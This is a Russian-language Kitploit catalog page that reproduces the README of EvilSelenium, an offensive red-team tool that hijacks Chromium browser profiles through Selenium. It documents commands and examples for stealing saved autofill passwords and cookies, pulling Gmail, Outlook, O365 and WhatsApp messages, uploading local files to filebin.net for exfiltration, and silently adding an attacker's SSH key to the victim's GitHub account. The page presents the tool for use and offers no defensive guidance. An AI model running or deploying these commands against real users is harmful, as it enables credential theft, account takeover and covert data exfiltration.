Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
EvilSelenium — Использует Selenium для автоматизации кражи учетных данных, дампа cookie-файлов, эксфильтрации электронной почты и извлечения файлов из браузеров Chromium для операций красной команды. | Kitploit
Инструменты/GitHubGitHub/mrd0x/evilselenium
Инструменты фишингаЭксфильтрация данныхСбор информацииПост-эксплуатацияСоциальная инженерияRed Teaming
GitHubmrd0x/evilselenium

EvilSelenium

Использует Selenium для автоматизации кражи учетных данных, дампа cookie-файлов, эксфильтрации электронной почты и извлечения файлов из браузеров Chromium для операций красной команды.

Репозиторий
605934 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

EvilSelenium

EvilSelenium — это новый проект, который использует Selenium для атак на браузеры на основе Chromium. Текущие возможности:

  • Кража сохранённых учётных данных (через автозаполнение)
  • Кража куки
  • Создание скриншотов веб-сайтов
  • Извлечение писем Gmail/O365
  • Извлечение сообщений WhatsApp
  • Загрузка и эксфильтрация файлов
  • Добавление SSH-ключей в GitHub

Также вы можете расширить существующую функциональность под свои нужды (например, скачивать файлы из GDrive/OneDrive пользователя).

Примечание

  1. При запуске этого инструмента все существующие процессы браузера будут завершены, чтобы можно было работать с профилем пользователя, содержащим пароли и активные сессии.

  2. Я создал этот инструмент примерно за неделю и не провёл столько тестов, сколько следовало, поэтому возможны ошибки.

  3. Модули Selenium не всегда стабильны. Из-за постоянных изменений на сайтах некоторые модули могут время от времени ломаться. Я постараюсь поддерживать существующие модули в рабочем состоянии, но вы предупреждены.

Использование

root@kitploit:~
EvilSelenium.exe /?

/help - Показать эту справку.

НАСТРОЙКА:
/install - Установить chromedriver и Selenium webdriver. Запустите один раз.

ГЛОБАЛЬНЫЕ: (принимаются с любой командой)
/browserdir [путь_в_appdata_local] - Использовать пользовательский браузер. Путь должен быть относительным к %appdatalocal% (например, "Microsoft\Edge")

РАЗВЕДКА:
/enumsavedsites [выходной_путь] - Проверить, для каких сайтов сохранены пароли, с помощью скриншотов.
/screenshot [веб-сайт] [выходной_путь] - Сделать скриншот указанной веб-страницы.

УЧЁТНЫЕ ДАННЫЕ:
/autorun - Извлечь сохранённые учётные данные с распространённых сайтов.
/dynamicid [страница_входа] [id_поля_имени] [id_поля_пароля] - Извлечь сохранённые учётные данные с сайта, указав ID поля имени пользователя и ID поля пароля.
/dynamicname [страница_входа] [имя_поля_имени] [имя_поля_пароля] - Извлечь сохранённые учётные данные с сайта, указав значение атрибута name поля имени и пароля.
/dynamicname2 [страница_входа] [позиция_имени] [позиция_пароля] [имя_поля_имени] [имя_поля_пароля] - Извлечь сохранённые учётные данные с сайта, указав значения атрибута name полей и их позиции.

КУКИ:
/cookies [веб-сайт] - Получить куки для указанного веб-сайта.

МОДУЛИ:
/download [url_файла] [секунды] - Скачать файл и указать время ожидания завершения загрузки. Расширения файлов не должны быть исполняемыми.
/exfil [локальный_файл] [секунды] - Загрузить файл на filebin.net и вывести ссылку для скачивания.
/gmail [выходной_путь] [количество_писем] - Загрузить письма из mail.google.com, если пользователь аутентифицирован. Максимум 50 писем.
/outlook [выходной_путь] [количество_писем] - Загрузить письма из Outlook, если пользователь аутентифицирован.
/o365 [выходной_путь] [количество_писем] - Загрузить письма из O365 Outlook, если пользователь аутентифицирован.
/github [ключ] - Добавить ваш SSH-ключ в Github, если пользователь аутентифицирован.
/whatsapp [выходной_путь] - Загрузить сообщения Whatsapp, если пользователь аутентифицирован (BETA).

Настройка

Команда /install загружает Chrome Driver и Selenium WebDriver, которые являются необходимыми требованиями. EvilSelenium будет работать с версиями Chrome 100–90.

Протестировано на Windows 10, Chrome v97 и v90.

root@kitploit:~
EvilSelenium.exe /install

Глобальная конфигурация

По умолчанию EvilSelenium пытается использовать папку User Data Google Chrome для получения данных, но также поддерживаются другие браузеры на основе Chromium.
Чтобы использовать другие браузеры на основе Chrome, добавьте /browserdir с путём внутри каталога %localappdata%. Вот примеры для нескольких распространённых браузеров (должны добавляться к любой команде CLI):

  1. Brave — /browserdir BraveSoftware\Brave-Browser
  2. Microsoft Edge — /browserdir Microsoft\Edge
  3. Vivaldi — /browserdir Vivaldi

Модуль разведки

/enumsavedsites — создаёт скриншоты страницы chrome://settings/passwords

/screenshot — скриншот любого веб-сайта. Если пользователь аутентифицирован на сайте, вы получите аутентифицированные скриншоты :).

Модуль учётных данных

ВАЖНО: Модуль учётных данных УДАЛЯЕТ КУКИ, чтобы украсть учётные данные из автозаполнения. В идеале используйте модуль учётных данных в конце, если хотите экспортировать куки.

/autorun — готовые шаблоны для распространённых сайтов. Буду добавлять новые.

/dynamicid — укажите URL страницы входа, а также ID поля ввода имени пользователя и ID поля пароля. Эквивалентно document.getElementById().

/dynamicname — если у полей нет ID, укажите значения атрибута name полей. Будет выбран первый индекс значений name. Эквивалентно document.getElementsByName()[0].value.

/dynamicname2 — укажите значения атрибута name полей вместе с их индексной позицией. Эквивалентно document.getElementsByName()[x].value, где x — указанная позиция.

Модуль куки

/cookies — выгружает куки с указанного веб-сайта.

Прочие модули

Это дополнительные модули, созданные для демонстрации того, какие действия можно выполнять с помощью Selenium.

/download — скачать файл и указать время ожидания загрузки. Перед скачиванием к файлу следует добавить неисполняемое расширение, чтобы избежать запроса Safebrowsing в Chrome.

/exfil — загрузить файл на filebin.net и указать время ожидания завершения загрузки. После завершения загрузки выводится ссылка на файл.

/gmail — загружает письма из mail.google.com, если пользователь аутентифицирован. Максимум 50 писем.

/outlook — загружает письма из Outlook, если пользователь аутентифицирован.

/o365 — загружает письма из O365 Outlook, если пользователь аутентифицирован.

/github — добавить ваш SSH-ключ в Github, если пользователь аутентифицирован.

/whatsapp — загружает сообщения Whatsapp, если пользователь аутентифицирован (BETA).

Примеры команд

root@kitploit:~
EvilSelenium.exe /screenshot https://mail.google.com c:\users\mr.d0x\downloads

EvilSelenium.exe /dynamicid https://www.hybrid-analysis.com/login login_email login_password

EvilSelenium.exe /dynamicname https://linkedin.com session_key session_password

Демо

Example

Поддержка

  • Подпишитесь на меня в Twitter @mrd0x
  • BTC Кошелёк: 38ApE9ciNHiXzEaQExLXdwM6TrEpz2wCUi (очевидно, на кофе)
Скачать инструмент